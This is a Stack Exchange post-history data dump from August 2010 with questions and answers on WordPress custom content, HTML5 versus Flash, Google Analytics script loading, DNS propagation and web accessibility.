  <row Id="3505" PostHistoryTypeId="2" PostId="1893" RevisionGUID="aed715c3-9aa4-44df-add5-ad36c49c4725" CreationDate="2010-08-04T09:40:33.467" UserId="745" Text="As tnorthcutt mentioned, you may want to use [custom post types][1]. However, you should also take a look at [custom fields][2], which will allow you to specify bits of dynamic custom data that you want to associate with each page. Here's [Smashing Magazine's tutorial][3] on custom fields, Nettuts' [tuturial][4] (and [video][5]), and a [list][6] of other tutorials.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://net.tutsplus.com/tutorials/wordpress/rock-solid-wordpress-3-0-themes-using-custom-post-types/&#xD;&#xA;  [2]: http://codex.wordpress.org/Custom_Fields&#xD;&#xA;  [3]: http://www.smashingmagazine.com/2010/04/29/extend-wordpress-with-custom-fields/&#xD;&#xA;  [4]: http://net.tutsplus.com/tutorials/wordpress/creating-custom-fields-for-attachments-in-wordpress/&#xD;&#xA;  [5]: http://net.tutsplus.com/tutorials/wordpress/quick-tip-a-4-minute-crash-course-in-wordpress-custom-fields/&#xD;&#xA;  [6]: http://wparena.com/how-to/the-power-of-wordpress-custom-fields/" />
  <row Id="3506" PostHistoryTypeId="2" PostId="1894" RevisionGUID="0eda5e20-58dc-4c79-9dfd-18b210e35dac" CreationDate="2010-08-04T10:12:27.730" UserId="1232" Text="At least has one problem in IE because it causes double downloads: http://www.stevesouders.com/blog/2010/02/10/5a-missing-schema-double-download/" />
  <row Id="3507" PostHistoryTypeId="2" PostId="1895" RevisionGUID="73944f0c-2f21-4df2-a86b-5e98f778ccd1" CreationDate="2010-08-04T10:18:44.417" UserId="576" Text="Safari browser's [Web Inspector (accessible from the Develop menu) has a tab called Resources][1]. In that you can find the list of resources shown in a graph by download time &amp; file size. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/safari/library/documentation/appleapplications/conceptual/safari_developer_guide/OptimizingYourWebsite/OptimizingYourWebsite.html#//apple_ref/doc/uid/TP40007874-CH9-SW1" />
  <row Id="3508" PostHistoryTypeId="2" PostId="1896" RevisionGUID="681d6690-e88f-42b8-a23a-deec7c60b2ab" CreationDate="2010-08-04T10:33:26.100" UserId="1036" Text="http://www.websiteoptimization.com/services/analyze/&#xD;&#xA;&#xD;&#xA;I use this often. Try it." />
  <row Id="3509" PostHistoryTypeId="2" PostId="1897" RevisionGUID="5661d10e-1599-48f2-93e4-0a5c49d44494" CreationDate="2010-08-04T10:39:37.403" UserId="1233" Text="As I read in HTML5 definition it can do anything that Flash can do! and I ask myself is it right to waste my time to learn flash or must go learn HTML5.&#xD;&#xA;&#xD;&#xA;Does HTML5 Beat Flash in future?" />
  <row Id="3510" PostHistoryTypeId="1" PostId="1897" RevisionGUID="5661d10e-1599-48f2-93e4-0a5c49d44494" CreationDate="2010-08-04T10:39:37.403" UserId="1233" Text="Is the time arrive to forget Flash and Use HTML5?" />
  <row Id="3511" PostHistoryTypeId="3" PostId="1897" RevisionGUID="5661d10e-1599-48f2-93e4-0a5c49d44494" CreationDate="2010-08-04T10:39:37.403" UserId="1233" Text="&lt;web-development&gt;&lt;html5&gt;&lt;flash&gt;&lt;subjective&gt;" />
  <row Id="3512" PostHistoryTypeId="2" PostId="1898" RevisionGUID="8f5a8012-1998-46fd-b514-fdbd08aa0d86" CreationDate="2010-08-04T10:40:21.003" UserId="1111" Text="We used sharepointhosting's Dedicated Service by a costumer (before we changed to a more flexible linux solution... SCNR :-)).  The Service was very nice: Fast and flexible support, (a hardware defect was fixed within 2h), full access to all snapshots (don't know if this only available for the Dedicated Service) and many more. The price is also competitive and most hosters/providers makes special prices for NPO's. Just question the sales team (If they don't provide special plans for NPO's i would search for another provider).&#xD;&#xA;&#xD;&#xA;For which features you have to look, i can't say. But i would say every service plan from sharepointhosting fits all your basic claims (just take a look at feature list and ask your friend if this fits the needs).&#xD;&#xA;&#xD;&#xA;It's difficult to say &quot;yes, thats enough for all you need&quot; because every individual/organization has other structures and needs." />
  <row Id="3513" PostHistoryTypeId="11" PostId="1847" RevisionGUID="8201b000-234a-406b-812f-14303ae6963c" CreationDate="2010-08-04T10:53:21.530" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3514" PostHistoryTypeId="2" PostId="1899" RevisionGUID="997cefae-1b40-4eea-91f1-35095cd73f4d" CreationDate="2010-08-04T11:08:06.077" UserId="914" Text="It depends on your timescales. Right now Flash is far more predominant than HTML5, mainly due to browser support (like it or not, until IE9 is released and widely adopted then this will remain the case).&#xD;&#xA;&#xD;&#xA;However, I think over time then HTML5/Canvas will become the dominant technology - at least for things like video, animations and simple interactivity. But I suspect that Flash (and Silverlight) will adapt and survive, but will have more of a niche market.&#xD;&#xA;&#xD;&#xA;I don't think you'll waste your time learning Flash, but if I were you I would look at HTML5 first. There will be far fewer experts in HTML5 in the near future, and more demand for their services, so I would see it as the smart thing to do." />
  <row Id="3515" PostHistoryTypeId="16" PostId="1899" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-04T11:16:10.230" UserId="55" />
  <row Id="3516" PostHistoryTypeId="16" PostId="1897" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-04T11:16:10.230" UserId="55" />
  <row Id="3517" PostHistoryTypeId="2" PostId="1900" RevisionGUID="4f825614-9662-46db-881a-6e317112fd8e" CreationDate="2010-08-04T11:39:45.313" UserId="771" Text="I would agree with all the above. But depending on the case it might not be necessary to make it so complicated. We had to buy a domain where the owner was in a different country, so the main issue was how to make sure that we get the domain after we paid for it (and the other way round).&#xD;&#xA;So we used  &#xD;&#xA;http://www.sedo.com  &#xD;&#xA;The seller can park the domain and we can pay the money, and if both are done, sedo will transfer the domain and the money. This way it's save for both parties. Obviously they charge a little for the service." />
  <row Id="3518" PostHistoryTypeId="2" PostId="1901" RevisionGUID="cc95aab9-0300-4142-9426-5fefe23e090d" CreationDate="2010-08-04T12:07:39.713" UserId="233" Text="You already pointed out the difference in the case of Google Analytics, namely that the secure version is on `https://ssl.` instead of `http://www.`. While a secure version of the www may work, it could also be different to the ssl version:&#xD;&#xA;&#xD;&#xA;* Different certificates for the ssl version and www version.&#xD;&#xA;* Different code on each version.&#xD;&#xA;* Different cookies set, specific to the SSL domain.&#xD;&#xA;&#xD;&#xA;I don't know if any of these apply to Google though. From a glance the code looked to be the same." />
  <row Id="3519" PostHistoryTypeId="2" PostId="1902" RevisionGUID="78ecb6dd-b1b9-46e1-8081-ecf6b5a45ea6" CreationDate="2010-08-04T12:09:47.217" UserId="1247" Text="Looking at the statistics for our website, which gets up to 3.7 million page hits a month, I see that roughly 10% of users are still on IE6. This isn't a group we can really ignore, at that magnitude!" />
  <row Id="3520" PostHistoryTypeId="2" PostId="1903" RevisionGUID="7a7e52d9-5cdb-4ce6-b78b-483b08e52004" CreationDate="2010-08-04T12:40:30.980" UserId="1082" Text="Microsoft themselves now offer Sharepoint hosting&#xD;&#xA;&#xD;&#xA;You can check them out&#xD;&#xA;&#xD;&#xA;http://www.microsoft.com/online/" />
  <row Id="3521" PostHistoryTypeId="2" PostId="1904" RevisionGUID="69a7d205-4ee3-4b18-9940-9c9601b27452" CreationDate="2010-08-04T12:50:33.037" UserId="1240" Text="PDF can be accessible as it is it depends on the reader, generally speaking if a person with a visual impairment is opening PDFs they will have the appropriate software.&#xD;&#xA;&#xD;&#xA;If the content you are providing is just text and you want to be ultra accessible then you should consider allowing the same file to be downloaded as a .txt file - .txt can be read by any machine with no programs to install and will be picked up by screen reading software.&#xD;&#xA;&#xD;&#xA;Of course this only covers visual impairment, but most other accessibility concerns are to do with content, in which case you should follow the same advice as you would when writing content meant to be marked up with HTML." />
  <row Id="3522" PostHistoryTypeId="16" PostId="1904" RevisionGUID="69a7d205-4ee3-4b18-9940-9c9601b27452" CreationDate="2010-08-04T12:50:33.037" UserId="-1" />
  <row Id="3523" PostHistoryTypeId="2" PostId="1905" RevisionGUID="ac753313-8681-43de-a451-43d0c7ac096d" CreationDate="2010-08-04T12:51:06.903" UserId="1082" Text="Like others have answered before, I am not a lawyer.&#xD;&#xA;&#xD;&#xA;Regarding performance, Google recently introduced a new async tracking script which makes the performance issues mostly noticeable to the users (obviously it is still using resources, but since the page loads first the user can't tell).&#xD;&#xA;&#xD;&#xA;I have tried the new script and it is faster.&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/tracking/asyncUsageGuide.html" />
  <row Id="3524" PostHistoryTypeId="2" PostId="1906" RevisionGUID="4d45d987-ce4a-4cd2-b7aa-c3157a89b1a4" CreationDate="2010-08-04T12:54:16.693" UserId="1240" Text="Making your mark-up semantic is a massive step towards accessibility, if your site can be navigated without any CSS being applied to it and the content makes sense then everything else is just visual gravy!" />
  <row Id="3525" PostHistoryTypeId="2" PostId="1907" RevisionGUID="0afce97a-7bc1-4fbc-8585-215ac3458be0" CreationDate="2010-08-04T12:58:31.197" UserId="1240" Text="I have spoken to someone in the Royal London Society for the Blind who works with assistive technologies regarding a project I was working on for them, and he is dead against them for the simple reason that users who need to increase font size in order to be able to read the content will not see the widget in the first place!&#xD;&#xA;&#xD;&#xA;I wouldn't waste the real estate, instead I would provide a nice accessibility statement including instructions on how to increase the font size using your browser." />
  <row Id="3526" PostHistoryTypeId="2" PostId="1908" RevisionGUID="ce8782e8-6a29-4e77-aa42-5ae4cefca425" CreationDate="2010-08-04T12:59:08.400" UserId="1252" Text="The answer will change depending on who owns the rights to that file. For example when I create a file on our server with our FTP client (filezilla) the owner is the username of our FTP account but if we create the file using PHP the owner is www-data. &#xD;&#xA;&#xD;&#xA;That being said by looking at your rights I see that only the owner has the right to write on your file, the group and other only have read access. Here's a calculator I'll often use to figure which rights to give to the chmod command (http://www.onlineconversion.com/html_chmod_calculator.htm). It's pretty intuitive but I'm guessing you'll have to give write access to the group.&#xD;&#xA;&#xD;&#xA;Hope that helps :)" />
  <row Id="3527" PostHistoryTypeId="4" PostId="1897" RevisionGUID="2b73ddb9-f8cf-40f7-9442-585a70c30d83" CreationDate="2010-08-04T13:25:49.037" UserId="108" Comment="Fixed grammar" Text="Has the time arrived to forget Flash and Use HTML5?" />
  <row Id="3528" PostHistoryTypeId="5" PostId="1897" RevisionGUID="2b73ddb9-f8cf-40f7-9442-585a70c30d83" CreationDate="2010-08-04T13:25:49.037" UserId="108" Comment="Fixed grammar" Text="As I read in HTML5 definition it can do anything that Flash can do! and I ask myself is it right to waste my time to learn flash or should I learn HTML5 instead.&#xD;&#xA;&#xD;&#xA;Does HTML5 Beat Flash in the future?" />
  <row Id="3529" PostHistoryTypeId="5" PostId="1892" RevisionGUID="b1f1d619-cc0a-47db-a6c3-6621870b8e0a" CreationDate="2010-08-04T13:28:43.727" UserId="480" Comment="added 365 characters in body" Text="For instance Google Analytics uses document.location.protocol in the boilerplate for tracking:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;&#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-XXXXX-X']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;instead of&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;&#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-XXXXX-X']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = '//www.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;The ssl. sub-domain is a mute argument as https://www.google-analytics.com/ga.js works perfectly well.&#xD;&#xA;&#xD;&#xA;Knowing Google this most likely is not an oversight. Is there an issue with certain browsers not supporting the // protocol honouring shorthand or is there something else I'm missing?&#xD;&#xA;&#xD;&#xA;**EDIT:** This does not just apply to Google Analytics (different sub-domain example). The same thing appears on the [Font Loader API page][1]:&#xD;&#xA;&#xD;&#xA;    wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +&#xD;&#xA;        '://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/webfonts/docs/webfont_loader.html" />
  <row Id="3530" PostHistoryTypeId="2" PostId="1909" RevisionGUID="6fce2bca-050a-4b5b-8d7e-299ffabf3f08" CreationDate="2010-08-04T13:35:16.193" UserId="1245" Text="There is a [draft spec for RDFa in HTML5][1], but at present I'm not aware of any way to validate the results.  The main obstacle for using RDFa in straight HTML5 is that there is [no support for namespaces under HTML5 parsing rules][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.w3.org/html5/rdfa/rdfa-module.html&#xD;&#xA;  [2]: http://wiki.whatwg.org/wiki/FAQ#Will_there_be_support_for_namespaces_in_HTML.3F" />
  <row Id="3531" PostHistoryTypeId="2" PostId="1910" RevisionGUID="467429c7-00ba-43a0-8b4d-217eca3412e3" CreationDate="2010-08-04T13:39:41.177" UserId="108" Text="Flash will not die at least for the foreseeable future even as HTML5 becomes more prevalent.  Until IE6-IE8 become go of use there is still a need for flash in websites and IE6-IE8 unfortunately will be around for a while.&#xD;&#xA;&#xD;&#xA;In the end it depends on what you are trying to do. If you goal is purely to learn something, I would choose HTML5 as it will only become more relevant as time goes by.  If you need to get something done right now that is possible in Flash and HTML5 and you only have time to do one or the other, then Flash is the more well adopted technology and is your better bet. " />
  <row Id="3532" PostHistoryTypeId="16" PostId="1910" RevisionGUID="467429c7-00ba-43a0-8b4d-217eca3412e3" CreationDate="2010-08-04T13:39:41.177" UserId="-1" />
  <row Id="3533" PostHistoryTypeId="2" PostId="1911" RevisionGUID="cbc1228c-40ec-40ff-a796-820b8b7c0c51" CreationDate="2010-08-04T13:39:55.513" UserId="1155" Text="Apache resources: http://httpd.apache.org/docs/1.3/howto/htaccess.html" />
  <row Id="3534" PostHistoryTypeId="16" PostId="1911" RevisionGUID="cbc1228c-40ec-40ff-a796-820b8b7c0c51" CreationDate="2010-08-04T13:39:55.513" UserId="-1" />
  <row Id="3535" PostHistoryTypeId="2" PostId="1912" RevisionGUID="be0a0443-90aa-46a3-ad0b-4562933e7fe2" CreationDate="2010-08-04T13:51:26.270" UserId="1155" Text="You don't have to use an .htaccess file to accomplish this. Simply structure your files into directories, and instead of using &quot;labouseur.com/course-compilers.html&quot;, just name the file index.html and put it into a directory called &quot;course-compilers&quot;. Then when you point to that directory, the index is served up by default but will not be displayed in the URL. So you could just write your links as &quot;labourseur.com/course-compilers&quot; and all will be well.&#xD;&#xA;&#xD;&#xA;No .htaccess required." />
  <row Id="3536" PostHistoryTypeId="5" PostId="1899" RevisionGUID="00708935-1847-4a9a-97f7-974530e65774" CreationDate="2010-08-04T14:45:12.263" UserId="198" Comment="wording, punctuation" Text="It depends on your timescales. Right now Flash is far more widespread than HTML5, mainly due to browser support (like it or not, until IE9 is released and widely adopted, this will remain the case).&#xD;&#xA;&#xD;&#xA;However, I think over time HTML5/Canvas will become the dominant technology — at least for things like video, animations and simple interactivity. I suspect that Flash (and Silverlight) will adapt and survive, but will have more of a niche market.&#xD;&#xA;&#xD;&#xA;I don't think you'll waste your time learning Flash, but if I were you I would look at HTML5 first. There will be far fewer experts in HTML5 in the near future, and more demand for their services, so I would see it as the smart thing to do." />
  <row Id="3537" PostHistoryTypeId="2" PostId="1913" RevisionGUID="ff8aef25-ca7f-47e1-a305-5f9e98b30878" CreationDate="2010-08-04T15:06:10.663" UserId="1270" Text="I think you have to use this site http://www.totalvalidator.com or the available firefox plugin. It has several disability validations and will flag anything that's missing." />
  <row Id="3538" PostHistoryTypeId="2" PostId="1914" RevisionGUID="d1939eb0-17bb-4bf2-824c-4fd65a4d73a4" CreationDate="2010-08-04T15:39:29.193" UserId="536" Text="Not yet. Watch http://html5readiness.com/ and http://caniuse.com/ for browser availability." />
  <row Id="3539" PostHistoryTypeId="16" PostId="1914" RevisionGUID="d1939eb0-17bb-4bf2-824c-4fd65a4d73a4" CreationDate="2010-08-04T15:39:29.193" UserId="-1" />
  <row Id="3540" PostHistoryTypeId="2" PostId="1915" RevisionGUID="c900b43c-9795-40ff-ad96-a2beeb9cc1a3" CreationDate="2010-08-04T16:23:38.770" UserId="1074" Text="I would argue that many things that people used to use Flash for can now be accomplished via Javascript, which in my opinion is less intrusive, until HTML 5 finally becomes widespread enough to use.  I know that many of my corporate clients won't be allowing HTML5 any time in the near future as most are standardized on outdated IE installs corporate-wide." />
  <row Id="3541" PostHistoryTypeId="16" PostId="1915" RevisionGUID="c900b43c-9795-40ff-ad96-a2beeb9cc1a3" CreationDate="2010-08-04T16:23:38.770" UserId="-1" />
  <row Id="3542" PostHistoryTypeId="2" PostId="1916" RevisionGUID="2c9592df-fa92-4913-9676-34f02a65eb04" CreationDate="2010-08-04T16:32:33.907" UserId="914" Text="Just to add my two penny worth - I also think they are a waste of time. Enlarging text and zooming is functionality that should be performed by the web browser (user agent), not the website. It is the website designer's responsibility to ensure this works when using the browser's in-built mechanism.&#xD;&#xA;&#xD;&#xA;It is ridiculous to expect every website in the world to adopt some propriety means of re-sizing text, each with it's own UI, when this functionality is provided in a much better way by any decent browser. Any visually impaired user will already know how to perform this task via their browser and may well already have a custom style-sheet to over-ride font-sizes or have set an increased zoom level. &#xD;&#xA;&#xD;&#xA;It is a variation on the old adage: Give a man a web page text-resizer and he can view one website. Teach a man how to re-size text via his browser and he can view any website for the rest of his life." />
  <row Id="3543" PostHistoryTypeId="5" PostId="1850" RevisionGUID="932b193c-11e2-4fe6-adaf-8e81bcd0fd60" CreationDate="2010-08-04T16:55:03.273" UserId="845" Comment="added 1242 characters in body" Text="(*Until the [Wordpress site][1] gets up and running - please commit, people! - I'm figuring this is the most appropriate home for this question*) &#xD;&#xA;&#xD;&#xA;I've only ever used wordpress as a self-hosted blogging platform - until now. I have a requirement to use it for a very basic CMS which will consist of ~ 10 pages, most of which will be static content, updated periodically. I'm going to need to ability to upload documents, embed images, edit copy using the text editor - pretty much all of the standard features wordpress offers.&#xD;&#xA;&#xD;&#xA;However, I'm having difficulty surrounding the issue of editing specific sections within a page - in particular, just knowing where to begin. A 'normal' CMS would traditionally break a page into separate sections and allow me to edit any of those sections, either by directly editing the content, or by including shared content in that spot. I cannot find out how to do this using wordpress.&#xD;&#xA;&#xD;&#xA;Is it possible to 'stretch' the Page model so that a Page is actually just a chunk of content, it gets included by a specific page/template, and it's - somehow - protected from being viewed directly (removing it from navigation menus being a start).&#xD;&#xA;&#xD;&#xA;Any pointers on where to begin?&#xD;&#xA;&#xD;&#xA;  [1]: http://area51.stackexchange.com/proposals/1500/wordpress-answers&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;To clarify, imagine a standard wordpress blog post. Pretend it's a static piece of content. Suppose you wanted an editor to be able to change *just* the first paragraph of that blog post. Now,&#xD;&#xA;&#xD;&#xA;* should the static content on that page be in a Post, Page, Template, or something else?&#xD;&#xA;* should the editable content be a Page, ... or something else?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;About us&lt;/h1&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;p&gt;Example.com is a company specialising in examples, demonstrations,&#xD;&#xA;    and canonical stuff.&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;If I want that paragraph to be editable, presumably I need something like:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;About us&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;&lt;?php insert_page('name-of-content-chunk'); ?&gt;&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Update 2&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;OK, after a lot of research, trial, and error, I've included the following:&#xD;&#xA;&#xD;&#xA; 1. Wordpress is *not* set up to *easily* replicate a classic CMS, particularly with regard to having several pieces of content on one page.&#xD;&#xA; 2. This model *can* be imitated, more or less, using custom posts (see below)&#xD;&#xA; 3. Pages very nearly offer the ability to do this, however:&#xD;&#xA;    - A plugin is required just to include a page&#xD;&#xA;    - Pages don't seem to be as flexible as posts - e.g. no custom page types&#xD;&#xA;&#xD;&#xA;The method I've used, using custom post types, is broadly as follows:&#xD;&#xA;&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;The page is a 'Page' with a custom template - call it 'mypage.php'&lt;/li&gt;&#xD;&#xA;&lt;li&gt;That template contains the following:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&amp;lt;div id=&quot;header&quot;&amp;gt;&#xD;&#xA;  &amp;lt;?php&#xD;&#xA;    query_posts(array('name' =&gt; 'foo', 'post_type' =&gt; 'header-text'));&#xD;&#xA;    get_template_part('header-text');&#xD;&#xA;  ?&amp;gt;&#xD;&#xA;&amp;lt;/div&amp;gt;&#xD;&#xA;&#xD;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xD;&#xA;  &amp;lt;p&amp;gt;Some static copy in the template that can&#xD;&#xA;  only be changed by the site administrator.&amp;lt;/p&amp;gt;&#xD;&#xA;&#xD;&#xA;  &amp;lt;?php&#xD;&#xA;    query_posts(array('name' =&gt; 'bar', 'post_type' =&gt; 'image'));&#xD;&#xA;    get_template_part('image');&#xD;&#xA;  ?&amp;gt;&#xD;&#xA;&amp;lt;/div&amp;gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;Does that make sense to **anyone** out there? :-)" />
  <row Id="3544" PostHistoryTypeId="2" PostId="1917" RevisionGUID="a2381e2e-cbf5-4850-b521-d289281858f7" CreationDate="2010-08-04T17:03:31.123" UserDisplayName="Josh" Text="While Flash is not yet dead (unfortunately), I think that you should go straight to HTML5 and Javascript/jQuery, unless you are looking into developing games. While HTML5 is not yet as widespread as Flash, it will be. Soon. And remember, Flash does not work on any iOS device. " />
  <row Id="3545" PostHistoryTypeId="16" PostId="1917" RevisionGUID="a2381e2e-cbf5-4850-b521-d289281858f7" CreationDate="2010-08-04T17:03:31.123" UserId="-1" />
  <row Id="3546" PostHistoryTypeId="2" PostId="1918" RevisionGUID="f427e377-0a90-493b-bca3-9aefc241db0c" CreationDate="2010-08-04T17:11:00.113" UserId="845" Text="I agonised over this one for ages for a site I worked on. There's a *huge* part of me that echoes Dan Diplo's feelings on the matter: it's built-in browser functionality, it doesn't need replicating in a subtly different way by every individual site on the www. If you add a font-sizing widget to your web site, you might as well also add 'print this page', 'go back', and 'bookmark this page' links all over the place.&#xD;&#xA;&#xD;&#xA;BUT, people argued that other people didn't know how to resize the text in their browser. A lot of people don't even know that it's *possible*.&#xD;&#xA;&#xD;&#xA;I started reading up on the matter, and thinking about it a little less passionately. In particular, I came across [this question][1] on uxexchange and the top-rated answer there just about had me convinced. I added the widget, in such a way that it's reasonably obvious without wasting valuable screen estate. I haven't looked back.&#xD;&#xA;&#xD;&#xA;Other than the argument on the uxexchange post, my main reason for implementing the widget *was* the ignorance of font-sizing options in the browser. I wish everyone was more aware of that feature, but wishing it doesn't make it happen. I think it's a real shame that most of the browsers removed the prominent font sizing icons that used to be on the main toolbar - you have to go back as far as [IE3][2] (!) to see this excellent feature (in that particular browser, at least). It's far more hidden than print, back, and bookmark and - mainly for that reason - I think the font-resizer widget is, on balance, justified.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://uxexchange.com/questions/44/do-we-still-need-text-scaling-links-on-websites&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/File:Internet_Explorer_3_on_Windows_95.png" />
  <row Id="3547" PostHistoryTypeId="2" PostId="1919" RevisionGUID="5656d566-860e-4ee3-9669-3a55751467cd" CreationDate="2010-08-04T17:27:18.183" UserId="43" Text="I have an account with Hostgator, and have registered private name servers (ns1.mydomain.com and ns2.mydomain.com).  How long should I expect to wait for those changes to take place?  Should my website be unavailable during that time?" />
  <row Id="3548" PostHistoryTypeId="1" PostId="1919" RevisionGUID="5656d566-860e-4ee3-9669-3a55751467cd" CreationDate="2010-08-04T17:27:18.183" UserId="43" Text="How long does propagation of newly registered private name servers typically take?" />
  <row Id="3549" PostHistoryTypeId="3" PostId="1919" RevisionGUID="5656d566-860e-4ee3-9669-3a55751467cd" CreationDate="2010-08-04T17:27:18.183" UserId="43" Text="&lt;dns&gt;&lt;registrar&gt;&lt;name-servers&gt;" />
  <row Id="3550" PostHistoryTypeId="2" PostId="1920" RevisionGUID="c40944de-fbf5-423f-b7a7-27916c7e05d8" CreationDate="2010-08-04T17:36:55.500" UserId="55" Text="Typically no, most major registrars will implement NS updates very quickly (minutes, or just a few hours). What remains is the `TTL (time to live)` value set on records served by your existing name servers that resolve your domain to its IP and who follows them.&#xD;&#xA;&#xD;&#xA;The typical cache period is 4 hours, however ISP's are free to ignore that, and continue to serve the old IP sometimes up to 72 hours. Effectively, some of your users will not realize that you switched until their ISP clears their resolver cache. I've tried flooring the TTL value on all A records and CNAMES weeks before changing without any kind of positive effect worth reporting.&#xD;&#xA;&#xD;&#xA;When doing a switch, refrain from posting new content for at least 72 hours. Additionally, don't do a switch within 72 hours of posting new content, if at all avoidable.&#xD;&#xA;&#xD;&#xA;Then again, it really depends on where your users live. Most US ISP's re-fresh (at least) once every 48 hours. While traveling around Asia, I've seen that process take up to two weeks (but we have to consider horribly configured proxies here).&#xD;&#xA;&#xD;&#xA;Depending on your reach, soon after a change your new site and new content will be accessible to most, but some will get a 404." />
  <row Id="3551" PostHistoryTypeId="5" PostId="1920" RevisionGUID="e812e00d-7c98-4c50-aec4-c7fc66f58a23" CreationDate="2010-08-04T17:46:30.633" UserId="55" Comment="added 114 characters in body; added 21 characters in body" Text="Typically no, most major registrars will implement NS updates very quickly (minutes, or just a few hours). What remains is the `TTL (time to live)` value set on records served by your existing name servers that resolve your domain to its IP.&#xD;&#xA;&#xD;&#xA;The typical cache period is 4 hours, however ISP's are free to ignore that, and continue to serve the old IP sometimes up to 72 hours (in most cases). Effectively, some of your users will not realize that you switched until their ISP clears their resolver cache for your domain. I've tried flooring the TTL value on all A records and CNAMES weeks before changing without any kind of positive effect worth reporting.&#xD;&#xA;&#xD;&#xA;When doing a switch, refrain from posting new content for at least 72 hours. Additionally, don't do a switch within 72 hours of posting new content, if at all avoidable.&#xD;&#xA;&#xD;&#xA;Then again, it really depends on where your users live. Most US ISP's refresh (at least) once every 48 hours. While traveling around Asia, I've seen that process take up to two weeks (but we have to consider horribly configured proxies here).&#xD;&#xA;&#xD;&#xA;Depending on your reach, soon after a change your new site and new content will be accessible to most, but some will get a 404. Some might not be able to resolve it at all, it all depends on who hits the ISP name servers (along with what ISP) and when." />
  <row Id="3552" PostHistoryTypeId="2" PostId="1921" RevisionGUID="287cee0b-c30c-4997-b3c2-b7d3e5d392b3" CreationDate="2010-08-04T17:47:09.057" UserId="745" Text="Here are a few different options of simpler CMS's:&#xD;&#xA;&#xD;&#xA; - [PageLime][1] (Hosted, Commercial,&#xD;&#xA;   Free up to 3 sites)&#xD;&#xA; - [Nuggetz][2] (PHP, Flat File, BSD&#xD;&#xA;   License)&#xD;&#xA; - [Pulse][3] (PHP, Flat File)&#xD;&#xA; - [Phpns][4] (PHP, MySQL, GPL)&#xD;&#xA; - [OneFileCMS][5] (PHP, Flat File, CC&#xD;&#xA;   License)&#xD;&#xA; - [GetSimple][6] (PHP, XML Flat File&#xD;&#xA;   DB, GPL)&#xD;&#xA; - [Pixie][7] (PHP, MySQL, GPL)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pagelime.com/&#xD;&#xA;  [2]: http://www.nuggetz.co.uk/&#xD;&#xA;  [3]: http://pulsecms.com/&#xD;&#xA;  [4]: http://phpns.alecwh.com/&#xD;&#xA;  [5]: http://onefilecms.com/&#xD;&#xA;  [6]: http://get-simple.info/&#xD;&#xA;  [7]: http://www.getpixie.co.uk/" />
